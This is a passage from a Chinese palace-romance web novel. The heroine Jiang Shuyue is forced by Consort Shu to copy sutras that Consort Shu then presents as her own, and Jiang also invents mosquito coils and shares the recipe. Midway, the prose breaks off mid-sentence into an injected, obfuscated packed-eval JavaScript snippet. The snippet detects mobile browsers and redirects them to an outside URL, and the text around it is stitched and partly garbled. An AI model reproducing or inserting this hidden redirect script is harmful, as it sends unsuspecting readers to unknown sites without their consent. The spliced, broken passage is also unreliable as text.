吃完之后,姜舒月坐回了书桌上,又开始准备抄写。 “娘娘,不如我们帮您一起抄吧?”扶风看姜舒月包着的手腕,心疼的说。 姜舒月却没有答应,“淑妃已经看过我的字了,换你们抄,不是相当于告诉别人,我心不诚,连给太后的经书都假手于人?” 扶风心里清楚姜舒月说的是对的,心里就算再怎么难过也只能在一旁伺候着。 连着抄写了两日,姜舒月的手腕越发的痛了。 一直没有想到破局之法,姜舒月索性就当作这是给自己的一个静心时间。 贺云徽已经有几天没看到姜舒月了。 再次踏入弦月宫的时候,却没发现她像以往那般躺在阴凉处。 宫殿内也安静地有些反常,门口只留了一个小顺子守门。 “参见皇上,皇上吉祥。” 福安也觉得有些奇怪,以往都能听到姜舒月呵几个下人玩闹的声音。 今天却没有听到任何声音。 他只好问小顺子:“你家娘娘呢?” 小顺子跪在地上回道:“回公公,娘娘在书房内。” 贺云徽阻止了福安唱到的动作,自己迈着大长腿往书房走去。 走到门口,就看到了另外两个小太监在门口守着。 小路子和小方子刚要行礼,贺云徽一挥手,两人就站了起来退到了一边。 “娘娘,您歇会吧,”扶风的声音传来,“您手腕越发的肿了,在这么下去,您的手就要废了。” 手腕肿了?贺云徽眼神一沉,掀了帘子就要进去。 姜舒月刚要说话,门口传来声响,贺云徽就这样走了进来。 “参见陛下,陛下万福金安。”屋内侯着的宫女都吓了一跳,陛下是什么时候来的。 “陛下?”她放下毛笔,起身迎接,“妾身给陛下请安。” 贺云徽伸手将人拉了起来,一股药油独特的气味钻入他的鼻子。 “哪里受伤了?”他眉头皱着,怎么几天不见,就把自己伤到了? 姜舒月下意识将右手藏到了身后,略带些心虚说道:“没有受伤,陛下是特意来看妾身的吗?” 看道她的动作,贺云徽将她的手从身后拽了出来。 手腕上缠着一层布,掀开一看,原本纤细的手腕上,如今稍稍红肿了起来,在旁边雪白的皮肤对比下,尤为明显。 “这是怎么回事?”他指着手腕红肿处,“这叫没伤到?” 姜舒月轻轻地撇过脸,“真的没事陛下,是妾身抄写经书,所以……” 贺云徽拧眉看向书桌上拿叠厚厚的纸张,“为何突然抄写经书,连自己的身体都不顾。” 姜舒月张了张嘴,“也没什么,就是为了太后祈福,妾身一时忘了时间。” 她说的话,贺云徽一个字都不信,转头看向福安,后者心领神会的退下了。 “太后一向待人宽厚,既是为了祈福,心意到了即可。”说着,手指捏住姜舒月的手腕,替她揉捏起来。 他是武将出身,手上的力气自然不小。 一动手,姜舒月就疼得龇牙咧嘴。 “陛下,疼~”可怜兮兮地看着贺云徽,对方却不理会。 明夏极有眼色,当下就把那瓶乳香没药油拿了过来。 药油倒在手上用手掌搓热,贺云徽再次捏上姜舒月的手腕。 也许是大力出奇迹了,一开始的疼痛过去之后,一股热意从手腕处开始蔓延。 一直按摩了半个时辰左右。 姜舒月倒是没想到贺云徽纡尊降贵来给自己按摩。 从最开始的疼痛过后,她便一只手支着下巴盯着贺云徽看。 “好看?”他抬眼看了一眼姜舒月,声音清冽。 姜舒月点头,又继续盯着。 秀色可餐,大概说的就是想贺云徽这样的美色。 两人在书房又说了会话,扶风进来说晚膳已经备好了。 到了正殿一看,桌子上摆满了各种小菜、酱料,还有两碗面。 贺云徽坐下之后,却不见这面有热气。 一摸碗,“凉的?” 姜舒月有些苦夏,天气一热就不太愿意吃东西,“天气渐热了,妾身胃口不太好,瞎琢磨的,陛下可要尝尝?” 贺云徽挑眉,点头。 得到应许,她拿起贺云徽那碗面,就开始往面里加上黄瓜胡萝卜丝、鸡丝,再淋上特制的酱料。 这么一拌,一碗开胃的凉面就完成了。 拿起筷子吃了一口,有点意外。 “陛下,如何?” “不错。”说完又吃了一口。 姜舒月也拌好了自己那份,因为手腕使不上劲,只能慢慢的吃着。 不多会,贺云徽那碗就吃完了。 看他不够吃,姜舒月又吩咐将剩下的面端了上来。 贺云徽挥退了要伺候的宫人,自己上手调配了一碗。 福安回来之后看到的,就是自家主子埋头吃面的样子。 心里欣慰地点了点头。 姜舒月吃了一碗之后也饱了。 之前还准备了一些瓜果,都切好了拿冰镇着。 这会子拿出来吃,冰冰凉凉的正好。 贺云徽又跟着吃了些,彻底是吃撑了。 姜舒月看了看外面的天色,还尚早,便问道:“陛下,要出去消消食嘛?” 两人就这样在弦月宫内溜达起来。 经过三天的晾晒,蚊香也已经晒好了。 明夏这会过来问道:“娘娘,蚊香已经做好了,该如何用?” 第55章 吃人嘴短拿人手短 “点燃就行,”姜舒月想了想又说道:“放香炉里吧,天干物燥的,虽然没有火了,但也小心别燃了屋子。” “是。” 说完话回头看贺云徽,他正好整以暇地看着姜舒月。 “蚊香?那是何物?” 问完话的瞬间,她身体有一丝轻微的抖动。 贺云徽五感高于常人,自然发现了。 “弦月宫这边蚊虫多,之前妾身看明夏熏虫的时候烟雾大的不行,就想了个招。不过才第一次用呢,也不知道好不好用。” 她苦恼地皱了皱眉,“若是好用,再送给陛下用。” 贺云徽搂着她,亲昵地捏了捏她的鼻子,“朕的姜贵人总是有很多新奇点子。” “那朕就等着爱妃的蚊香了。” 走了许久,两人身上都有些出汗了。 姜舒月便在丫鬟的伺候下去梳洗。 贺云徽坐在榻上,看了一眼浴房的方向,“说吧,都查到什么了。” 福安闻言赶紧过来回禀,“三天前,淑妃娘娘来过一次。” 淑妃? 贺云徽手指扣扣桌子,示意他继续。 “姜娘娘在宫内制物,淑妃娘娘非说姜娘娘另辟蹊径,有意……有意勾引您,偏以蚊虫为借口,罚了姜娘娘抄写了一晚上的心经,还留下了白露再此盯着。” “第二日,又以为太后祈福为由,要求姜娘娘在三日之内将金刚经抄写百遍。” “呵……” 【123,男主应该已经知道了淑妃故意刁难我了吧?】 123点头【是的宿主。】 姜舒月暗自点头。 福安听到贺云徽冷笑一声,身上更是散发着凉气。 心里默默地给淑妃娘娘点了根蜡。 贺云徽心里倒想着,下次什么时候该给姜舒月再晋晋位份了 到底是位份太低,又无子嗣傍身,如今倒是只能被旁人欺负了。 待姜舒月梳洗完出来,刚刚还浑身冒凉气的人转脸就敛了气息。 看她发梢还滴着水,又一脸的不赞同,“虽说夏日天热,可沐浴之后也要擦干才是。” 连衣裳上都滴了水 “知道啦。”姜舒月拿过干帕子慢慢擦着。 扶风则是在另一边帮忙绞干头发。 烛火灯光下,莹白的脸庞像是镀了一层金光。 看着她忙活着,贺云徽也不知道为什么,心里像是找到某种归宿一样安宁了下来。 每次来弦月宫这里,都会让他身心放松下来。 没有那么多规矩,也没有那么多的束缚。 自己想怎么舒服就怎么来。 正想着,一股馨香靠近。 姜舒月顺势挤到他怀里,“陛下,您摸,头发都干了。” 说着还拿自己的发梢扫过贺云徽的喉咙。 贺云徽眼神一暗,扣着她的手就紧了一些。 屋内伺候的丫鬟太监早已退下。 贺云徽掐着她的腰,翻身躺了下来。 “陛下?”姜舒月惊呼一声,一阵旋转之后,人就骑在了贺云徽身上。 散落下来的头发滑过贺云徽的脸。 有点痒。 但比不上心痒。 大手一扯,姜舒月的衣裳就有些散开,露出白璧无瑕的锁骨。 …… 不知过了多久,屋内传来贺云徽的声音。 “福安,抬水。” 像是很长时间没有休息好一般,贺云徽把她抱出来之后,人一沾枕头便睡了过去。 他看了眼姜舒月的睡眼,摇摇头。 又吩咐福安拿了药油进来,给姜舒月按摩。 大概是有些不舒服了,她还咕哝了一句。 惦记着任务的姜舒月迷迷糊糊地,感觉身边有人在晃动。 睁眼一看,贺云徽正在福安的伺候下穿戴衣服。 贺云徽见人醒了一撩衣摆,又坐回了床上。 “不用请安为何不多睡会?”他对姜舒月的睡眠能力清楚得很,平常不睡到辰时之后是不会醒的。 “陛下,”无骨似得又赖在贺云徽身上,“陛下今日这个时候怎么还没走,是舍不得妾身了吗?” 他拍拍姜舒月的头,“这就要走了,朕走了你再多睡会。” 停顿了一下,又继续说道:“今日这经书,不必着急起来抄,没得将手写坏了。若是有什么麻烦,大可告诉朕,知道了吗?” 听出了贺云徽的言外之意,姜舒月惊讶地看向他。 “妾身多谢陛下。” 贺云徽又叮嘱了一番,俯身在她脸上亲了一下,便离开了。 这下姜舒月彻底没了困意,躺在床上一直不停地思索着。 不知为何,她隐约觉得太后就是这次破局的关键。 太后…祈福… 姜舒月眼睛一亮,有了! “姜娘娘安,奴婢奉淑妃娘娘之意,来取经书。” 白露自从上次明夏送了一个荷包之后,再来弦月宫也没有了之前的傲气。 甚至还和其他几人打起了招呼。 姜舒月柔柔地笑着,“辛苦白露姐姐,静玉,去端刚刚做好的饮子,给你白露姐姐去去暑气。” 不愧是最近新晋宠妃的宫殿,甫一进殿,就感受到了凉意。 再看一应用品无不精致,让白露这个早就见惯了富贵的宫女,都忍不住露出羡慕的神情。 将她的反应都看在眼里,姜舒月眼神一闪端起茶轻呷了一口。 “白露姐姐,请用。”静玉放下了一碗绛红色的饮子。 她从未喝过这种颜色的饮子,有些好奇。 静玉便在一旁说道:“这是我家娘娘自个琢磨的饮子,叫梅酱吃水方。用了黄熟梅子、紫苏还有甘草做的,里面还加了饴糖,很是解暑。” 听着就让人生津。 喝了确实感觉到喉咙里一阵舒适,“姜娘娘这里的饮子真好喝,叫奴婢都想待在这里不走了。” 姜舒月听了一笑,“静玉,一会给你白露姐姐装一瓶带走。我做了许多,却是喝不完的,有劳白露姐姐为我分忧。” 淑妃再怎么不喜欢姜舒月,她也还是个主子。 白露闻言连忙站起来回礼,“姜娘娘言重了,能帮到娘娘,是白露的福气。” “那日听淑妃娘娘说,这金刚经是要抄写好了给太后娘娘祈福,”她面带难色,“只是妾身这字实在难登大雅之堂,若是耽误了正事,这……” 速度实在算不上快,若是耽误了给太后娘娘祈福,岂不是…… 白露眼神闪了闪,“姜娘娘不必妄自菲薄,上次抄写经书之后,淑妃娘娘还夸您难得有一副赤子之心呢。” 赤子之心?是好忽悠之心吧。 “承蒙淑妃娘娘不嫌弃,这经书还望白露姐姐替我转交淑妃娘娘,替我美言几句。” “姜娘娘客气了,些许小事,不足挂齿。” 又是明夏送了白露回去,依旧塞了一个荷包给她。 吃人嘴短拿人手短。 这次白露没有推搡,而是警惕地看了看四周,压低声音说道:“淑妃娘娘还没消气,你让姜娘娘多加小心吧。” 姜舒月听了只说了一句“知道了。”。 小满拿着那一摞经书,看着已经走远的明夏,有些担忧。 “娘娘,您说这姜贵人不会憋着什么坏吧?” 昨夜贺云徽去了弦月宫,她还很是担心了一晚上。 但是一直到现在也没有传出皇上这边有什么动静。 想来姜舒月也不敢跟皇上告状。 淑妃随意翻看了一眼,嗤笑道:“有什么坏心眼也得给本宫藏好了,她什么位份敢跟本宫斗,还不是乖乖地抄经书?收起来吧,一会给太后送过去。” 下午就传出淑妃给太后娘娘亲自抄写经书,太后娘娘高兴,赏了淑妃好些东西。 扶风听到了更是气愤。 “娘娘那些明明都是你抄的!”怎么到了太后那里就变成是淑妃娘娘抄的了。 姜舒月闻言只是笑了笑,“无事,就当修身养性了。” 既然123一直没有播报,那就说明,还会有下一次。 她轻轻转动手腕,“以后你就知道了。” 没再继续说这个话题,正好这两天在收拾南巡的物品,姜舒月就去看了一眼。 “不用带太多东西,带些日常的衣物和物品就可以。”姜舒月看着扶风大包小卷的。 不知道的还以为举家搬迁呢。 第56章 为娘娘赴汤蹈火 扶风不服气,“娘娘,奴婢可都是为了让您路上过得舒适点,才准备这么多东西的。” 她撅个嘴,活像姜舒月委屈她了一样。 “嘴上都能挂个油桶了,拿些必需品就行,这么多搬来搬去也麻烦。” 受不了她湿漉漉的眼神一直盯着自己,姜舒月败下阵来。 “好好好,收拾吧。”反正自己不带,也会有别的人带。 再怎么样,只要不超出规制别人也不会拿自己怎么样。 扶风得逞之后,立马嘴也不噘了,眼神也不委屈了,一扬下巴,屁颠屁颠地就去收拾了。 “姜娘娘,淑妃娘娘说了,这些经书还是得继续辛苦您了。” 小满撂下一堆经书,在地上砸起了一丝烟尘。 “三日之后,奴婢再来叨扰娘娘。” 她说着行了个礼,转身就离开了。 丝毫没看到姜舒月脸上奇怪的表情。 这下连明夏静玉她们都有点坐不住了。 “这……淑妃娘娘简直太过分了!”扶风看着这几卷经书,都要被气哭了。 静玉扯了一把扶风,示意她不要再说了。 扶风只能咬唇,心疼地看着姜舒月。 姜舒月手指轻轻拂过经书上的灰。 “真是难为淑妃娘娘了,从犄角旮旯里翻出这些老古董。” 几人一看,可不就是老古董么。 纸张泛黄斑驳卷角,虫蛀的空洞早已穿透经文,连装订的丝线都崩断了。 想起小满走前说的那句:“娘娘让奴婢传话,说佛经里讲‘诚心最重要’,这经书虽然旧了,但正能看出您的诚意。” 诚心么? 姜舒月用手帕擦了擦手。 “拿进去吧,”她转身回到书房。 扶风快步跟着她的身后,“娘娘,咱们就这样算了吗?” 姜舒月好笑地回头,“不这样,难道打上门去吗?” “娘娘!”扶风气得跺了跺脚,“您明知道奴婢不是这个意思。” 有意逗她的姜舒月坐在椅子上,好整以暇地看她。 “那是什么意思呢?” “那日陛下明明说…”她凑近了姜舒月,压低声音,“让您有问题去找他的。” 怎么、怎么如今听话地抄起这劳什子的经书了。 她甚至有点恨铁不成钢的意味。 “去找陛下,”姜舒月慢条斯理的把纸铺好,“然后告状?” “对啊,”扶风点点头,“淑妃娘娘这么欺负您,为何不找陛下来主持公道?” 她到底还是年纪小,又不如明夏和静玉那般,在宫中生存经验足,思考方式还如一般小女孩般。 思及此,姜舒月也不着急抄写,而是让她坐在了一旁的椅子上。 “我当然可以找陛下告状,”她看着扶风一脸懵懂的样子,继续说道,“那下一次呢?下下次呢?” 她捏捏扶风的脸蛋。 别说,这段时间在宫里吃好喝好的,脸上满满的胶原蛋白,手感真好。 “一次两次,也许陛下会怜惜我,替我出头。若是我事事都找陛下,陛下会觉得我是一个只会争风吃醋的女子。时间长了,难免会厌烦,到那个时候,陛下对我的宠爱也就消失殆尽了。” 扶风咬了咬唇,终究还是有些不甘心,“那娘娘就任由淑妃娘娘欺负吗?若您一直忍让,岂不是让她得意?还不如找陛下庇佑。” 姜舒月握住扶风的手,看着她的眼睛,认真地说:“在这后宫生存,陛下的宠爱就是一把双刃剑。我不能只像菟丝花一般,只依附着陛下的宠爱活着。” “如今弦月宫根基尚浅,前头还有个嫡姐虎视眈眈,我若是不学着自己应对,以后才真的无法生存。” “如今她欺我,不过是看我位份低,不会直接和她对上,所以肆无忌惮,但你又焉知我没有解决方法?” 这还是入宫之后,姜舒月第一次,将自己的处境一点点的分析给扶风听。 她是从小就跟着原主的丫鬟,即便在原主最艰难的时候,也没有想过要离开原主。 如此忠心耿耿的丫鬟,姜舒月自然耐心更多一些。 又看了看旁边站着的两个丫鬟,“不光是扶风,明夏你们几个也都一样,都是一路跟着我过来的。我能如此没有后顾之忧,全是因为有你们在,我便安心许多。” 扶风所有所思的点点头,“娘娘,您七窍玲珑心,奴婢知道自己脑子没有那么灵光,只要娘娘有吩咐,奴婢一定为娘娘赴汤蹈火。” 明夏和静玉没想到姜舒月也当着她们俩的面,说这么隐晦的事情,都有些感动。 扶风自是不用说,跟娘娘的情分都是她们两个比不了的。 但是论忠心,两人自认也是不比扶风少的。 她们两个从会做事起就在宫里,对宫里的主子们什么样子也都了然于心。 不说个个表面一套背面一套的,也大多佛口蛇心。 自打来了弦月宫之后,还是第一次遇到像姜舒月这样待人随和的主子。 宫里人员也简单,没有自己人之间的勾心斗角。 她们也早就当几人是自己的家人了。 既然是家人,自己必定是拿命来护着的。 随即两人“扑通”一声跪了下来。 “娘娘,明夏/静玉愿为娘娘赴汤蹈火,万死不辞!” 姜舒月愣了,好一会才噗呲一声笑出来。 “好了好了,都快起来吧,”好不容易将三人拉起来,“好在这里没什么人经过,不然叫别人看见了,还以为我们是什么邪教呢。” 邪教?三人对视一眼,也都哈哈直乐。 好在这几天抄经书抄出了经验,姜舒月也是越抄越快了。 明夏上次制过一次蚊香之后,亲眼看了这东西燃起来之后烟雾小,作用又大。 又想着姜舒月说了一句气味有些难闻,于是又跑去太医院搜刮药材,在弦月宫内重新制蚊香。 这次她往里面放了一些香料,搅拌的时候就已经能闻到香料散发出来的香气。 她还分了好几种,有提神醒脑的,有安神舒缓的。 保管到时候让姜舒月想要什么就有什么。 想着自家主子到时候一脸惊叹的样子,明夏手下更用劲了。 “娘娘,这蚊香要给陛下送去些吗?”好不容易把再次混合好的蚊香制成长条,明夏突然想起姜舒月之前答应过贺云徽的事情。 姜舒月一拍脑门,还真是忘了正事。 不过这东西不能直接送去。 “留一些宫里用的量,剩下的送去太医院,顺便把方子直接给他们吧。” 明夏知道她这是不想让人有机可乘,福了福身便退了出去。 * “明夏丫头,”胡太医拿着一根蚊香仔细端详着,“你说这东西,能驱蚊虫?” 不是他不相信,实在是这东西闻所未闻,见所未见。 掰开一些自己辨认一番,确实都是驱虫的药材。 “那是当然。”明夏傲娇地点点头,“这可是我家娘娘在书上看到的办法。” “弦月宫已经都使用好几天了,确实效果显著。” 刘太医也拿了一根放在鼻子下嗅了嗅,“嗯,闻着像是加了些薄荷?” 明夏竖起大拇指,“刘太医您的鼻子还是一如既往的好用,娘娘说,薄荷也有驱虫的功效。” 说着掏出一张方子放在桌子上,“这是蚊香的方子,这蚊香也简单易做,比拿着药材点燃驱虫方便许多。制成的成品干燥保存,可存放许久。要是还能推行下去,于百姓也有好处。” 第57章 如此看重 毕竟每年夏季都有因烧药材驱虫,而失火的事情。 陈院判拿过房子一看,也都是寻常的药材,即便是百姓家也能负担得起。 “这方子,你家娘娘就这样给太医院了?”他有些不敢置信。 明夏笑笑,“我家娘娘说了,这本来也是她从杂记上看到过的方子,并不是属于她的。拿出来给大家用,方才不辱没了这张方子。” “姜娘娘大义。”几个太医都是医者仁心,这样简单的方子,不用什么金贵的药材,就可以让人免除蚊虫困扰,还能降低起火的概率,他们自然会建议皇上推行至全国。 若是一般的宫廷女子,兴许会拿着这张方子,直接献给皇上以谋取一些好处。 但是姜舒月却没有这样做,当真不是一般的女子。 当得起‘大义’二字。 “陛下。”福安手里捧着一盘乌漆嘛黑的东西,进了宣明殿。 贺云徽刚看完奏折,“这是何物?” 福安笑着回答:“是姜娘娘之前应了您的,若物件若好用,便给您送来。” 听到是姜舒月上次答应他,要送给他的东西,贺云徽来了兴致。 前几天去看她时,她偶然提及自己研制出一物代替燃烧驱蚊。 当时他也不过是当姜舒月在瞎琢磨的,并没有太在意,没想到还真让她制出了。 “难为她还记得这茬,她人呢?” 福安脸上的笑僵了僵,陛下待会听到是太医院送过来的,不会生气吧? “这是,太医院送来的。” 太医院? 贺云徽倒是可以想到,姜舒月为了避免落人口舌,将东西送去太医院过明路的做法。 但是,她明明说要送过来的。 要是姜舒月知道贺云徽的想法,一定会在心里大叫:我不是我没有别瞎说! 心里有些失望的贺云徽,连东西也没兴趣看了。 “另外,陈院判在殿外,等候面圣。说是有重要的事情,要禀报陛下。” 他头也没回,淡淡地说,“宣。” “臣参见皇上。”陈院判似是一路跑着过来的,额头上已经满是大汗。 贺云徽抬手,“起来吧,什么事情值得陈院判顶着日头来?” 陈院判从袖中抽出一张纸,呈给福安,“皇上,臣今日前来,是有要事启奏。姜贵人将一驱蚊妙方送至太医院。经臣等研究试验,此蚊香效果奇佳。” 贺云徽的眼神落在那都承盘上黑乎乎的东西上。 “朕曾在姜贵人宫中见过此物,”贺云徽拿起那条东西,“当天确实感受到,蚊虫少了许多。” 陈院判还以为太医们是第一个试用的,没想到贺云徽之前就已经体验过了。 “陛下观察入微,”陈院判继续说道,“臣此次前来,便是为了这方子。” “夏日蚊虫肆虐,百姓多以燃烧药材驱蚊。可这极易引发火灾,诸多百姓也因此受灾。而姜娘娘所制的蚊香,只需点燃出烟后放置,便能有效驱蚊,安全便捷,大大降低了火灾隐患。” “且这方子需要的药材皆为寻常药材,就算是贫苦百姓完全可以负担。若能推行全国,定能解百姓夏日蚊虫之苦,免受火灾威胁。还望陛下下旨,令各地官府配合太医院,将这蚊香制作之法广传天下。” 贺云徽登基几年,每年夏日御案上堆积起来,关于百姓焚烧药材驱虫,而引发的走水案不知凡几。 他看着药方,沉吟片刻,说道:“你说的不错,此方确实是利民之物。福安,传朕旨意,着太医院立刻整理完善蚊香制作之法,各地官府务必全力配合布告,不得有误,务必要让这方子尽快惠及百姓。” “是,奴才遵旨。” 陈院判心中大喜,跪地谢恩:“陛下心系万民,此乃苍生之福。臣等定当竭尽全力,不负圣恩。” 待到陈院判走了之后,贺云徽手里还拿着蚊香,目光幽深。 “姜贵人这两日在做什么?” 福安心说还好自己这两天时有关注弦月宫,“回陛下,姜娘娘这会应该还在抄写经书。” 贺云徽一听眉头蹙起,“还抄?她那手腕不想要了?” 福安连忙回禀:“淑妃娘娘又送了一些经书过去,说是……” 他小心地瞅了一眼贺云徽,“让姜娘娘继续修身养性。” “哐当——”蚊香被贺云徽扔回了都承盘中,碎成了两半。 “既然她喜欢抄,就抄个够。” 贺云徽说不上自己在气什么,总之心里有股淡淡的别扭。 那天他走之前,明明告诉过她,让她有事不要自己承担,来找自己。 她竟是一个字都没听进去。 如此软弱可欺,也不怪淑妃揪着她不放了。 “拿下去吧。” 坐回龙椅上,拿起笔翻开奏折,却怎么也看不进去。 好像是错觉,福安听见了高坐在上的皇帝轻叹一声。 “朕记得库房里还有之前进贡的药油,送去弦月宫。” 随后又添了一句:“无需声张。” “是,奴才亲自去办。” 那瓶药油是乌苏国进贡的龙血松节油。 是用了极北之地的赤血蛇的血,加上千年雪松脂制成的,价比连城。 化瘀滞,活死肌,纵是武将断筋之伤,一滴凝脂入肤,盏茶的功夫便能握枪再战。 如此 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15480576|167766||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 贵重的贡品,陛下眼也不眨地,就送去了弦月宫。 还嘱咐了不必声张,生怕弦月宫再受人瞩目。 如此看重姜贵人。 福安心头把姜舒月和弦月宫位置,又往前放了放。 “娘娘,奴才已经打听好了,”小方子躬身说着,“大皇子每日巳时,会从崇文殿去往永康宫。” 崇文殿,就是皇子们开蒙,太傅授课的宫殿。 太后虽然讨厌宋滢,但是对她所生的大皇子却很是喜爱。 因此,大皇子每日都会去永康宫用午膳。 正巧的是,弦月宫去往琼花宫,和崇文殿去往永康宫,其中有一条路是相交的。 写完最后一笔,姜舒月放下手腕,习惯性地揉了揉手腕。 没有感觉到以往的酸痛。 才又想起,两日前福安拿着一瓶药油过来,说是贺云徽赏的。 话里话外,都是暗示姜舒月,可以适当地跟贺云徽示弱一番,便可无需再受人掣肘。 她眸光一闪,“做的不错,明夏。” 听到声音的明夏掀开珠帘,“娘娘。” 姜舒月指着书桌上的经书,“接下来,交给你了。” 她略一屈膝,“奴婢省的。” 静玉站在姜舒月身后,适时给她捏肩松快松快。 【希望这次能够完成任务吧。】姜舒月双眼无神,瘫在椅子上。 【宿主这办法真的好用吗?还不如直接找男主解决呢。】123有些不太确定。 姜舒月被捏得昏昏欲睡,【有没有用,今日就出分晓了。】 跟123说完话,人就歪倒在椅子上,睡了过去。 静玉怕她睡的不舒服,喊来扶风,两人将她扶到了贵妃榻上,轻轻地盖上薄衾。 明夏手中捧着木匣子,沿着宫道缓缓而行。 穿过了御花园旁的小径时,只见大皇子的仪仗正缓缓朝着永康宫走去。 她紧了紧心神,佯装着急赶路,脚下一崴,整个人向前扑去。 手中的经书如纷飞的蝴蝶,散落了一地。 “哎呀!”她轻声惊呼,赶忙手忙脚乱地去捡经书。 这动静不算小,自然吸引了大皇子的注意力。 正捡着,眼帘里出现一双孩童的脚。 明夏抬头一看,正是大皇子贺元修。 “奴婢弦月宫明夏,参见大皇子。”明夏又是一阵手忙脚乱的跪下行礼。 贺元修身边的侍从见状,连忙上前呵斥丫鬟:“见到皇子仪仗也不避让,惊扰了殿下,该当何罪!” “殿下恕罪,奴婢要赶着给淑妃娘娘送经书,一时情急,才冲撞了殿下,还望殿下开恩。” 第58章 务必弄清楚此事 五岁的孩子穿着杏黄色的皇子服,脸上满是好奇地盯着地上的宣纸。 像是看到什么有趣的东西,他蹲了下来,饶有兴趣地捡起一张经书。 他虽然开蒙了,但是认识的字算不上多。 只能认出几个字。 他手里那张宣纸上密密麻麻写许多字,其中一个‘福’字甚是有趣。 跟一般的方方正正的写法不同,圆滚滚的,很是可爱讨喜。 如果是现代人看到了,就会发现其实这个福字,就是现代广告中常用的字体。 贺元修又凑上去看了看。 “这个福字写的好有趣呀!比太傅写的好玩多了。” 说着还给了身边的郑华公公看。 “哎哟,奴才可不识字殿下,”郑华赔着笑说着,“既是殿下觉得好,那它确实好。” “您看这时辰也差不多了,太后娘娘该着急了。” 贺元修目光留在这个字上,看了一会,递给明夏。 软糯的童声响起,“起来吧,”又指了一个侍从,“你去帮着捡经书。” 被指到的小侍从应道:“是。” “谢殿下。”明夏谢过贺元修,和小侍从一起捡起了地上的经书。 两个人一起,速度自是快了许多。 “多谢公公。”她整理好经书,对小侍从略一点头,便继续往琼华宫赶去。 永康宫 要说现在这宫里,太后有两个最讨厌的妃子。 一个是宋滢,另一个就是淑妃了。 宋滢是太有脑子,每次说话眼睛都滴溜溜地直转,让人一眼就看出来,她在打什么坏主意。 而淑妃就是太没脑子,只要和别人对上,就会被人牵着鼻子走,还觉得自己是最聪明的那一个。 这种在她心里没有脑子的人,竟然也有一天为了她这个老太婆,静下心来抄写经书。 女人做到她这个地位的,已经不在乎是真情还是假意。 端看的是一份心意。 虽然这字…… 但是好歹是孩子的一片心意,太后也就收下了。 佩兰嬷嬷在一旁陪着说话,“淑妃娘娘虽然耿直了一些,但心还是好的。” 跟随了太后这么多年,自然也了解太后的喜好,说话也是挑着好听的说了。 太后点点头,手翻过几张经书。 昨日未曾仔细看过,今日再看,着实是难以入眼。 “按理说,淑妃是户部尚书的女儿,这字就算不是精妙绝伦,也该是贝联珠贯才是。” 佩兰嬷嬷凑上去,只看了一眼,便笑道:“奴婢瞧着,这字确实……少了些圆润娟秀,笔画也略显僵硬。” 这话说的已经算是极为委婉了,要太后自己说的话,这字就是歪歪扭扭,毫无笔锋可言。 简称:难看。 “皇祖母!皇祖母!”贺元修一路小跑着进来,打断了主仆二人的讨论。 他跑得急,头上都冒出了汗,一头扎进了她的怀里。 “哎哟!”太后一时不察,被撞得身子一晃。 “殿下可使不得!”佩兰嬷嬷急忙扶了一把太后。 好在太后身子骨结实,不然就贺元修这股子牛劲,非散架不可。 太后摆摆手,抽出手帕给贺元修擦了擦脑门上的汗。 “何事跑得如此之急,看你,跑了一身的汗,当心再吹着风。”她慈爱地摸摸贺元修的头,吩咐下去可以准备膳食了。 贺元修跑得小脸通红。 他今日心情很好,笑眯眯地看着太后,“元修想皇祖母啦~” 一番话哄得太后心花怒放,嘴里一阵肝啊宝啊的喊着。 太后又问了今日在崇文殿上学了什么。 一讲到上课,贺元修脸都皱成一团。 他今天又被太傅罚站了。 太后看他这样,哪里还猜不出来他的想法。 “好好好,不想说就不说了。”说着牵了贺元修的手,就要去外间用膳。 一顿饭吃得高兴,太后又留了贺元修在永康宫写功课。 “这日头毒,何必来回折腾,”她一招手,沉香端了一份冰酥酪过来,“功课可要用功写,写好了再喝。” 贺元修盯着那碗冰酥酪,“是,皇祖母。” 他本就是坐不住的人,有人在的时候还可以装模作样,一旦没人就立刻丢开了手中的笔。 不经意间,瞧见皇祖母榻上的案几上摆放着一叠纸。 小孩子的好奇心重,立刻迈着小短腿过去,爬上榻拿起那叠纸翻看。 墨香淡雅,一看就是新写的。 翻了几张后,他有些疑惑,这字迹好像有些熟悉? 直到他看到一个‘福’字。 “诶?怎么会在这里?”他立刻召唤郑华。 “你看。”郑华公公一看,这不是今日碰到的宫女,手里送的经书吗? 不是说送去琼华宫,怎么会在太后的永康宫中? 两人还在研究呢,太后在蕙香嬷嬷的搀扶下,走进书房。 看到贺元修对着经书发呆,好笑地问:“没想到咱们元修还对经书感兴趣呢?” 贺元修连忙从榻上下来,手里抱着经书,跑到太后身边,“皇祖母,这经书元修今天中午在御花园里见过。” 太后微微一愣,摸了摸他的头,“这经书是琼华宫的淑妃娘娘在昨日就送来了,你怎么会见过呢?” “是真的皇祖母,”贺元修跺了跺脚,一脸认真,“今天在御花园,我看到一个宫女姐姐摔倒了,经书掉了一地,我还捡起来看了,上面 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“娘娘仔细伤到手,”蕙香嬷嬷忙捧着太后的手,“您息怒,这其中是否会有其他内情?” “内情?”太后冷哼一声,“哀家就说,好端端的送什么经书过来,原来竟是想要冒功请赏。” 她就说,一个嫡女出身的妃子,写的字这样难登大雅之堂。 太后越想越生气,“听说还在罚那姜贵人抄写?” 佩兰嬷嬷应道:“是,姜贵人如今足不出户,每日都抄写至深夜,天不亮就又起来继续,据说手腕都肿了。” “她倒是个是实心眼,”太后又拿着经书翻看,“就是这性子委实软弱了些。” 蕙香嬷嬷接过话头,“想来姜贵人是听说为太后祈福,所以才会如此认真抄写,可见是个有孝心的。” 太后点点头,“都说后宫人心复杂,诸多算计。她一个小小的贵人,也能有如此用心,着实可贵。” 蕙香嬷嬷附和着,“正是呢,娘娘向来仁慈。想必也是这份孝心感召,才让大殿下撞见这事儿,不然还不知淑妃要如何欺瞒太后。” 太后嘴角微微上扬,露出一丝若有若无的笑意,说道:“若是哀家没猜错,待会她便要再将新的经书送来邀赏了。” 